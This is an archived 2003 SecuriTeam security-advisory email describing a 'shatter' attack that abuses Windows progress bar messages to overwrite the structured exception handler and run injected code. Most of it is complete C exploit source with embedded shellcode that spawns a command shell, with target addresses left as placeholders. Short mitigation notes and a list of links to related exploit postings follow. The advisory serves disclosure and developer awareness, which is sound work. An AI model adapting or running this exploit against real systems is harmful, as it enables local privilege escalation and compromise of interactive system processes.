[NT] Shattering SEH III (Progress Bars)
From: SecuriTeam (support_at_securiteam.com)
Date: 09/30/03
- Previous message: SecuriTeam: "[REVS] Introduction to Exploiting Web Applications"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 30 Sep 2003 12:46:28 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Shattering SEH III (Progress Bars)
------------------------------------------------------------------------
SUMMARY
Following is a sample program that demonstrates the "shatter attack"
techniques been used against the progress bar control. Although this
method does work, Brett Moore was unable to find any 'system level'
programs that had progress bars to be exploited. Brett Moore is however
releasing this so that developers of such programs are aware that even
non-interactive controls may be vulnerable to shatter type attacks.
More details on the SEH shatter attack:
<http://www.securiteam.com/windowsntfocus/5DP0M2KAKA.html> Overwriting SEH
using windows messages.
Oliver Lavery posted about using the same technique against tab controls
<http://www.securiteam.com/exploits/5TP010UAUI.html> Tab Control Shatter
Attack Exploit.
DETAILS
The code is almost identical to the previous SEH shatter attacks, except
for the use of different messages which we use to write our shellcode into
a known writeable address. Then the SEH handler is overwritten with the
same address, and after causing an exception the code is executed.
Example Code:
/***************************************************************************
* Progress Control Shatter exploit
*
* Demonstrates the use of Progress Control messages to;
* - inject shellcode to known location
* - overwrite 4 bytes of a critical memory address
*
* 3 Variables need to be set for proper execution.
* - tWindow is the title of the programs main window
* - sehHandler is the critical address to overwrite
* - shellcodeaddr is the data space to inject the code
*
* Local shellcode loads relevant addresses
* Try it out against any program with a progress bar
*
* Based on (and pretty much identical to)
* mcafee-shatterseh2.c by
* Oliver Lavery <oliver.lavery at sympatico.ca>
****************************************************************************
/
#include <windows.h>
#include <commctrl.h>
#include <stdio.h>
// Local Cmd Shellcode.
BYTE exploit[] =
"\x90\x68\x74\x76\x73\x6D\x68\x63\x72\x00\x00\x54\xB9\x61\xD9\xE7\x77\xFF\xD
1\x68\x63\x6D\x64\x00\x54\xB9\x44\x80\xC2\x77\xFF\xD1\xCC";
char g_classNameBuf[ 256 ];
char tWindow[]="Checking Disk C:\\";// The name of the main window
long sehHandler = 0x7fXXXXXX; // Critical Address To Overwrite
long shellcodeaddr = 0x7fXXXXXX; // Known Writeable Space Or Global Space
void doWrite(HWND hWnd, long tByte,long address);
void IterateWindows(long hWnd);
int main(int argc, char *argv[])
{
long hWnd;
HMODULE hMod;
DWORD ProcAddr;
printf("%% Playing with progress bar messages\n");
printf("%% brett.moore@security-assessment.com\n\n");
// Find local procedure address
hMod = LoadLibrary("kernel32.dll");
ProcAddr = (DWORD)GetProcAddress(hMod, "LoadLibraryA");
if(ProcAddr != 0)
// And put it in our shellcode
*(long *)&exploit[13] = ProcAddr;
hMod = LoadLibrary("msvcrt.dll");
ProcAddr = (DWORD)GetProcAddress(hMod, "system");
if(ProcAddr != 0)
// And put it in our shellcode
*(long *)&exploit[26] = ProcAddr;
printf("+ Finding %s Window...\n",tWindow);
hWnd = (long)FindWindow(NULL,tWindow);
if(hWnd == NULL)
{
printf("+ Couldn't Find %s Window\n",tWindow);
return 0;
}
printf("+ Found Main Window At...0x%xh\n",hWnd);
IterateWindows(hWnd);
printf("+ Done...\n");
return 0;
}
void doWrite(HWND hWnd, long tByte,long address)
{
SendMessage( hWnd,(UINT) PBM_SETRANGE,0,MAKELPARAM(tByte , 20));
SendMessage( hWnd,(UINT) PBM_GETRANGE,1,address);
}
void IterateWindows(long hWnd)
{
long childhWnd,looper;
childhWnd = (long)GetNextWindow((HWND)hWnd,GW_CHILD);
while (childhWnd != NULL)
{
IterateWindows(childhWnd);
childhWnd = (long)GetNextWindow((HWND)childhWnd ,GW_HWNDNEXT);
}
GetClassName( (HWND)hWnd, g_classNameBuf, sizeof(g_classNameBuf) );
if ( strcmp(g_classNameBuf, "msctls_progress32") ==0)
{
// Inject shellcode to known address
printf("+ Sending shellcode to...0x%xh\n",shellcodeaddr);
for (looper=0;looper<sizeof(exploit);looper++)
doWrite((HWND)hWnd, (long) exploit[looper],(shellcodeaddr
+ looper));
// Overwrite SEH
printf("+ Overwriting Top SEH....0x%xh\n",sehHandler);
doWrite((HWND)hWnd, ((shellcodeaddr) & 0xff),sehHandler);
doWrite((HWND)hWnd, ((shellcodeaddr >> 8) & 0xff),sehHandler+1);
doWrite((HWND)hWnd, ((shellcodeaddr >> 16) &
0xff),sehHandler+2);
doWrite((HWND)hWnd, ((shellcodeaddr >> 24) &
0xff),sehHandler+3);
// Cause exception
printf("+ Forcing Unhandled Exception\n");
SendMessage((HWND) hWnd,(UINT) PBM_GETRANGE,0,1);
printf("+ Done...\n");
exit(0);
}
}
Example Vulnerable Programs:
From Brett Moore's testing, any interactive process that has an accessible
progress bar is vulnerable.
Solutions:
* Limit the interactive system processes
* Filter the messages accepted by interactive system processes
ADDITIONAL INFORMATION
The information has been provided by
<mailto:brett.moore@security-assessment.com> Brett Moore
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[REVS] Introduction to Exploiting Web Applications"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
- [EXPL] Ipswitch IMail IMAP Buffer Overflow (LOGON, Exploit)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... * Ipswitch IMail Server
8.2 Hotfix 2 ... char* alphaEncodeShellcode(char *shellcode, int size); ...
(Securiteam) - [EXPL] Metamail Buffer Overflow Exploit (From Header)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... UDP port at 13330. ...
Now you can send your shellcode to port 13330, ... int gen_nops ... (Securiteam) - [EXPL] PeerCast Buffer Overflow (Exploit)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... shellcode and as such will
work on multiple distributions and VA ... int retaddr; ... printf("[Using
shellcode '%s' (%d bytes)\n", ... (Securiteam) - [EXPL] MailEnable Logging Buffer Overflow (Nematoda, Exploit)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... The buffer used provides
quite a bit of room for shellcode, ... WSACleanup(); ... (Securiteam) - [REVS] Introduction to Shellcoding - How to Exploit Buffer Overflows
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... What Is a Shellcode? ...
nasm a portable Intel syntax assembler ... overflows) or format string bugs in binary,
... (Securiteam)